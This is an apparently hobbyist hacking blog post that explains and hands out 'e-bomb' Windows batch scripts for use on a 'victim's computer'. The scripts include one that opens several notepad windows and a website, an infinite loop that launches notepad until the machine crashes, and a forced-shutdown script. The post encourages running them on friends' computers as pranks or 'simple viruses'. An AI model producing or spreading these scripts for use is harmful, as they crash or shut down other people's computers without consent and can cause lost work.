What is e-Bomb, How it works, Let’s play with e-bomb

Cracking computer tricks is really an interesting part of learning. If you are not familiar with the term “e-bomb” then this article must help you to learn about these interesting tricks of DOS Batch commands.

What is e-Bombing and how it works

The concept of “e-bomb” is very simple, it is some kind of program that opens a ton of windows and makes the victim computer crash.  e-bombing is a type of hacking technique it is generally used by the computer users to make fun with friends by crashing their computers or it is also used to make simple viruses(just for learning purpose). To make a simple e-bomb open your notepad and write the DOS commands written below:

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@echo off Start notepad Start notepad Start notepad Start notepad Start notepad Start iexplore.exe http://borntohack.in

Save the file with .bat extension. The commands written above help you to open the notepad 5 times on victim’s computer.

How e-bomb works?

An e-bomb contains a number of DOS commands executed by the command interpreter. The notepad serves as a simple text editor and .bat extension changes the file into batch file. In the code written above @echo off is the main command which triggers the e-bomb, and start notepad command tells the computer to open notepad.

Alternative to Notepad: Simply open your command prompt (cmd) and write the commands as discussed above.

Let’s take “e-bomb” Trick to the next level:

As written above now the question is how it helps in making of simple viruses the answer is very simple by adding a loop in the commands which opens infinite number of notepads or whatever application you want. Copy scripts written below in notepad and save file with ‘.bat’ extension.

The commands for adding loop in the e-bomb:

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@echo off :loop Start notepad goto loop

Here are the commands to shut down the computer:

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@echo off color 3 title Conditional Shutdown set /p name=enter a name: :start cls echo Hi, %name% echo. echo 1.Shutdown echo 2.Quit :invalid_choice set /p choice=enter your choice 1,2: if %choice%==1 goto shutdown if %choice%==2 exit echo invalid choice: %choice% goto invalid_choice :shutdown cls set /p sec=enter the number of seconds that you wish the computer to shutdown in: set /p message=enter the shutdown message you wish to display: shutdown.exe -s -f -t %sec% -c "%message%" echo shutdown initiated at %time% set /p cancel=type cancel to stop shutdown if %cancel%==cancel shutdown.exe -a if %cancel%==cancel goto start

If you find any problem while cracking this trick, please feel free to post your valuable comments.